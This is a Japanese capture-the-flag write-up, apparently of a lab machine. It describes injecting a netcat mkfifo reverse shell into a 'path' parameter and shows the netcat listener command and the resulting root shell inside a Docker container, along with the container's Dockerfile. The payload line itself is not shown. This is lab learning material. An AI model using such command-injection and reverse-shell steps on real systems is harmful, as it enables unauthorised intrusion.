inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.75/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::101a/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy
valid_lft forever preferred_lft forever
また、シェルを待ち受けルために以下のコマンドも打っておきます。
┌──(root💀kali)-[~/work]
└─# nc -lvnp 4444
ではリバースシェルをpath
パラメータに打ち込んでみた。
そうすると、nc mkfifo
のリバースシェルで以下の様に引っかかった
bash
がないと言われているので、/bin/sh
でやってみる。
奪取成功!!
ん???ルート権限???
何かいつもの階層じゃないぞ???...
ちょっと調査してみるか...
┌──(root💀kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.193] 35345
/bin/sh: can't access tty; job control turned off
/app # ls -lta
total 24
drwxr-xr-x 1 root root 4096 Dec 27 03:37 ..
drwxr-xr-x 1 root root 4096 Nov 10 16:00 .
drwxr-xr-x 1 root root 4096 Nov 10 16:00 app
-rw-r--r-- 1 root root 522 Nov 3 12:58 Dockerfile
-rw-r--r-- 1 root root 1024 Jun 12 2022 .Dockerfile.swp
-rw-r--r-- 1 root root 672 Jun 4 2022 requirements.txt
/app # more Dokcerfile
more: can't open 'Dokcerfile': No such file or directory
/app # more Dockerfile
FROM python:3.6.9-alpine
RUN apk --update --upgrade add --no-cache gcc musl-dev jpeg-dev zlib-dev libffi-dev cairo-dev pango-dev gdk-pixbuf-dev
WORKDIR /app
ENV HOME /home/svc
ENV PATH /home/svc/.local/bin:${PATH}
RUN python -m pip install --upgrade pip --user svc
COPY requirements.txt requirements.txt
RUN pip install -r requirements.txt
RUN pip install pydantic[email] pyjwt
EXPOSE 8000
COPY . .
CMD ["python3", "-m", "uvicorn", "app.main:app", "--reload", "--workers", "100", "--host", "0.0.0.0", "--port" ,"8000"]
/app #
Oh...Dockerコンテナ内ですか!?
まとめ
userフラグ取れてないけど、コンテナ内ならお手のものだわ(いや、何もわからん)。
次回、User権限奪取と特権エスカレーションだ!
乞うご期待!!
今回もセキュリティエンジニアの皆さんの助けになればなと思います。